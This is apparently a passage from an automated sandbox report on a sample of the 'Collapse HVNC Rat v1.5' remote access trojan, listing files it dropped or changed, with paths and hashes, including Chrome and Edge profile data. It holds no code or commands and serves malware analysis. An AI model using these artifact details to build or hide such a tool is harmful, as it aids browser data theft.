                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:4112

                                                                                                                                                                                                    Network

                                                                                                                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                          hyph-as.hyb
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1585877569\hyph-as.hyb
                                                                                                                                                                                                          • Size 703B
                                                                                                                                                                                                          • SHA256 c2784e33158a807135850f7125a7eaabe472b3cfc7afb82c74f02da69ea250fe
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          hyph-hi.hyb
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1585877569\hyph-hi.hyb
                                                                                                                                                                                                          • Size 687B
                                                                                                                                                                                                          • SHA256 f4df224d459fd111698dd5a13613c5bbf0ed11f04278d60230d028010eac0c42
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          hyph-nb.hyb
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1585877569\hyph-nb.hyb
                                                                                                                                                                                                          • Size 141KB
                                                                                                                                                                                                          • SHA256 c2771fbb1bfff7db5e267dc7a4505a9675c6b98cfe7a8f7ae5686d7a5a2b3dd0
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          manifest.json
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1585877569\manifest.json
                                                                                                                                                                                                          • Size 82B
                                                                                                                                                                                                          • SHA256 d571ef33b0e707571f10bb37b99a607d6f43afe33f53d15b4395b16ef3fda665
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          notification_fast.bundle.js.LICENSE.txt
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1672301958\Notification\notification_fast.bundle.js.LICENSE.txt
                                                                                                                                                                                                          • Size 551B
                                                                                                                                                                                                          • SHA256 38ed54eb53300fdb6e997c39c9fc83a224a1fd9fa06a0b6d200aa12ea278c179
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          tokenized-card.bundle.js.LICENSE.txt
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1672301958\Tokenized-Card\tokenized-card.bundle.js.LICENSE.txt
                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                          • SHA256 363f376ab7893c808866a830fafbcd96ae6be93ec7a85fabf52246273cf56831
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          strings.json
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1672301958\json\i18n-tokenized-card\fr-CA\strings.json
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 c67b555372582b07df86a6ce3329a854e349ba9525d7be0672517bab0ac14db5
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          manifest.json
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1672301958\manifest.json
                                                                                                                                                                                                          • Size 121B
                                                                                                                                                                                                          • SHA256 cd25cc1afcc03514d978f0a90692454e810c3cc81763074e0ea5ac504255335a
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          manifest.json
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_2057643618\manifest.json
                                                                                                                                                                                                          • Size 116B
                                                                                                                                                                                                          • SHA256 a1774d7a0ac3f90fe6fbed83045377b838af48811380d5ad88809222168c22eb
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          manifest.json
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_217175623\manifest.json
                                                                                                                                                                                                          • Size 1001B
                                                                                                                                                                                                          • SHA256 25ac9b79df29fa869b4c9f4ca3bdbc3a85f6122f5a8efab5a1216d577099becc
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          edge_checkout_page_validator.js
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_659405477\edge_checkout_page_validator.js
                                                                                                                                                                                                          • Size 983KB
                                                                                                                                                                                                          • SHA256 e8fea49af0545951bc9615fec4929bdc1e0500a0fa5b525d8ae9ffff6bbd5885
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          manifest.json
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_659405477\manifest.json
                                                                                                                                                                                                          • Size 145B
                                                                                                                                                                                                          • SHA256 5546195a4095b0c657177a871062d6aa50ab7bf56b767be9aaf4f8eb6ce06b3d
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          manifest.fingerprint
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_880185298\manifest.fingerprint
                                                                                                                                                                                                          • Size 66B
                                                                                                                                                                                                          • SHA256 33f077f5694ef3fdec3a0873c54e32146372edad1ad96541793e628563506ef5
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          manifest.json
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_880185298\manifest.json
                                                                                                                                                                                                          • Size 119B
                                                                                                                                                                                                          • SHA256 f34ee36a4fca8b0c74dd13f32aa0836196dde0d0af3f5cdff0076b86b9c1a98f
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          manifest.json
                                                                                                                                                                                                          • Path C:\Program Files\chrome_Unpacker_BeginUnzipping4140_923664811\manifest.json
                                                                                                                                                                                                          • Size 83B
                                                                                                                                                                                                          • SHA256 2fa4f8b4c565b313d2e3758273b432782d14bef430a6c532c695553b84d4d7b6
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          user.config
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Collapse_RAT\Collapse_HVNC_Rat_v1.5.ex_Url_gkvatm5lc4b44g015u2v4gksixrgv23x\1.5.0.0\user.config
                                                                                                                                                                                                          • Size 795B
                                                                                                                                                                                                          • SHA256 ae9bbbf6afc70f293f51fe103f9e8f65d5146eec86a20f3b746611549a065138
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          user.config
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Collapse_RAT\Collapse_HVNC_Rat_v1.5.ex_Url_gkvatm5lc4b44g015u2v4gksixrgv23x\1.5.0.0\user.config
                                                                                                                                                                                                          • Size 915B
                                                                                                                                                                                                          • SHA256 630731e94e34a01060cca637ea1bac6bec99bb7eaa4d747910e6cc166890149e
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          settings.dat
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
                                                                                                                                                                                                          • Size 40B
                                                                                                                                                                                                          • SHA256 93e1ac1054be49f77787a83804afea54c39c5699c1a6e7d4c1b91e363b921a11
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          BrowsingTopicsState
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                                                                                                                          • Size 414B
                                                                                                                                                                                                          • SHA256 9c0817878cb7998b7248dab127c1a9a9a13372f97c02b2d25dd25c7a1f42a78c
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          f_000008
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008
                                                                                                                                                                                                          • Size 354KB
                                                                                                                                                                                                          • SHA256 0d4241379bac03562da9b75d71ad9a3d9a98e34eec933dac3300f1eb94a62c68
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                          • Size 168B
                                                                                                                                                                                                          • SHA256 2dff01a5a6821ed9a470c37ced0604ed5bfe5e7fd9781021fbb1c056776478ff
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                          • SHA256 37d5a8aff07e2bbe3bf2fd152c21b3033d0a559e448ca82ec2ea98e92e2a5cca
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 10KB
                                                                                                                                                                                                          • SHA256 00deda176d32345be501b895c46bac8d1974edb84904569fe95462c7cdc070f5
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 11KB
                                                                                                                                                                                                          • SHA256 01f71ba706c5e827d6418896545f29c6e069d10d651ce02a62d76e9e601cf08f
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 10KB
                                                                                                                                                                                                          • SHA256 635682d9f8a32c6883686fa67aa8d91094e81d69951fba5afd1ff86245a9608c
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 9KB
                                                                                                                                                                                                          • SHA256 639f86bab55cd29533d7d7d707149c4fb2ead0202d03f394714f78069ab9ac1c
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 10KB
                                                                                                                                                                                                          • SHA256 8755f2e6e26a36c5365628c1dd58d5751594b3d469c5266e7f8ff1a699a2f33a
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 11KB
                                                                                                                                                                                                          • SHA256 d0c88159e181d595e989cd5bd7353f339686e1adc81af50e9a135b9ce3fb680b
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 11KB
                                                                                                                                                                                                          • SHA256 f9bcb7fe211ef7e8e7e17a45b0dc1bdc24841ed1eb9ae382f0c7d4502970ad74
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Secure Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                                                                          • Size 15KB
                                                                                                                                                                                                          • SHA256 6a64a1076857699113ad3ffdda5d041a825e35d9c81ecdd12e661a3638b29159
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                                                                                                                          • Size 72B
                                                                                                                                                                                                          • SHA256 cebd124af91d55401f9f3b752f0c3c9f9e83e47b6b85ab6f851c24db9fb773bb
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index~RFe61373c.TMP
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe61373c.TMP
                                                                                                                                                                                                          • Size 48B
                                                                                                                                                                                                          • SHA256 4044b8589df59fe5e95bb0716bf855d1360c20eedd7e225c4d345c392ac90076
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          b7fbeaef-d0a4-49d2-b7b2-f86c1706a348.tmp
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\b7fbeaef-d0a4-49d2-b7b2-f86c1706a348.tmp
                                                                                                                                                                                                          • Size 11KB
                                                                                                                                                                                                          • SHA256 924e14cae05a32264bbceb89e7bad9cc9249a286bdd28ed40580c4ceb38f2370
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          c3758b69-1cfc-4801-b3c7-69542abd0ea9.tmp
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\c3758b69-1cfc-4801-b3c7-69542abd0ea9.tmp
                                                                                                                                                                                                          • Size 1B
                                                                                                                                                                                                          • SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                          • Size 227KB
                                                                                                                                                                                                          • SHA256 2bbb74d9d46c6fea5643c37d0a41799743eb233a9575ae03eb6dec242bd4963e
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                          • Size 116KB
                                                                                                                                                                                                          • SHA256 61e6ce3036bd33588fa87e67e8f7b0d44b968414b53dae6f21bb3d46eefd5aca
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                          • Size 117KB
                                                                                                                                                                                                          • SHA256 e4049c459eceb372a26830c32c7df63b1908dde4900ff4c7b0ce5e4f3e9af7d8
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                                                                                          • Size 227KB
                                                                                                                                                                                                          • SHA256 deacdc15003c988a42e0238be0e967c9513ba8fa39e151700b97bf515025f618
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Collapse HVNC Rat v1.5.exe.log
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Collapse HVNC Rat v1.5.exe.log
                                                                                                                                                                                                          • Size 847B
                                                                                                                                                                                                          • SHA256 f0ab05c32d6af3c2b559dbce4dec025ce3e730655a2430ade520e89a557cace8
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          settings.dat
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                                          • Size 280B
                                                                                                                                                                                                          • SHA256 a68fcaee35a194c07d133433b0e687d41eb8d1e964ce4e8037f63ff0bdbf0440
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          LOG.old
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                                                                                                          • Size 334B
                                                                                                                                                                                                          • SHA256 3b5bc3852e16e6929bb0b66b8ff55d481cc546137b0166f3325711240c976f57
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          LOG.old
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                                                                                                          • Size 7KB
                                                                                                                                                                                                          • SHA256 47ee110ec6735f91161771231e636057f47cb25f88411016d14a98fde2f8c840
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          LOG.old
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                                                                                                          • Size 352B
                                                                                                                                                                                                          • SHA256 fb8df4784775a02553014ac9e2e93a320a9380bd91c31d7a6a3ff20333b6ced6
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          MANIFEST-000001
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001
                                                                                                                                                                                                          • Size 268B
                                                                                                                                                                                                          • SHA256 bb45768275531e290aa40db08d34b02c39baf48a688e6d9e2eaebeb5eadf2b27
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                          • Size 8KB
                                                                                                                                                                                                          • SHA256 cfa0e093073ff4d358fbac52b872488182792abb6f1a3a88111574b6115b51ea
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                          • Size 5KB
                                                                                                                                                                                                          • SHA256 324a4fe7257fc057bfa5f0fd120aa6b01fdffe3bbd1700db57183f7d13e8dcd6
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                          • Size 5KB
                                                                                                                                                                                                          • SHA256 edadb29876a243dafbc713293dfd6bce798dd702bedd9f0823df8cbaf60a2a73
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                                                                                          • Size 5KB
                                                                                                                                                                                                          • SHA256 fa59ee1ddac237857144165107021b55bdfe2d69063591f412df0aa2edcfa190
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          SiteList-Enterprise.json
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                                                                                                                                                                          • Size 2B
                                                                                                                                                                                                          • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          HubApps
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
                                                                                                                                                                                                          • Size 108KB
                                                                                                                                                                                                          • SHA256 a5f47979e3d9dc7c49694d8e9e4dd8e98b45470f93161940daff0b96bfc84a91
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          CURRENT
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_ntp.msn.com_0.indexeddb.leveldb\CURRENT
                                                                                                                                                                                                          • Size 16B
                                                                                                                                                                                                          • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                          • SHA256 90e0903f3793d4e8ac4418916bbd602e82e0505516bab34ac951e4966acf9801
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                          • SHA256 f60a178749f0b89437533caecc1d548b4d3c7a276e271a2120ef8ef977e97999
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 8KB
                                                                                                                                                                                                          • SHA256 838628bd0dd056a44df834667904b845baebe4e9bf609580229df388ef71705a
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 7cc6edb7a1f3bddde942cddd3fb7f5ebb675e78ba1911bb4ce123a522338d1df
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 887776a46b05c7c547e6ff0031402cf3168992c3860df5afb1464a47f990650f
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 dceebf10cbc9ddf4c05f8457f0f5f42f414194bb088ada9502d55a0b11a1ee5f
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 c11c7001cd83b56a5be1a49ea09094735fda35690c69002afee9371ad3bed8ca
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                          • SHA256 c13cf1b4459d8ea76364b8cf1b2ba53b1b42ca3f502a60c24e9b75998ac3d72d
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 3KB
                                                                                                                                                                                                          • SHA256 2e398088e44c7c4d16c988bba404aed5a547e48d2d42c47e05f0c28c57b38154
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 da67e655f2648ba256c615d83ddc7795d9bed6053d35634c42578b3626409541
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 96b0e3775c72a5e8fdd864cca581bf07eef08fc8ac575973df57a6d9d95e4249
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Network Persistent State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 17c77bec00bd8b04508100fd1edd8ef865c04e63accfae6a2b93a1a4bc546cd1
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          SCT Auditing Pending Reports
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                                                                                          • Size 2B
                                                                                                                                                                                                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Sdch Dictionaries
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
                                                                                                                                                                                                          • Size 40B
                                                                                                                                                                                                          • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Sdch Dictionaries
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
                                                                                                                                                                                                          • Size 211B
                                                                                                                                                                                                          • SHA256 adb695cc9cb894c59c130cf1d9b558b7f12f45c71fe9157633fc4579c4c748dd
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 414KB
                                                                                                                                                                                                          • SHA256 8b08c5c4a2be3fda462dc63554edd66f94b4a48b278fe03162fb900c4b55fd43
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 416KB
                                                                                                                                                                                                          • SHA256 1f3f218a656d01af3140a460b0ceebb2f575068cca13ec6ca7d2bd661336a503
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

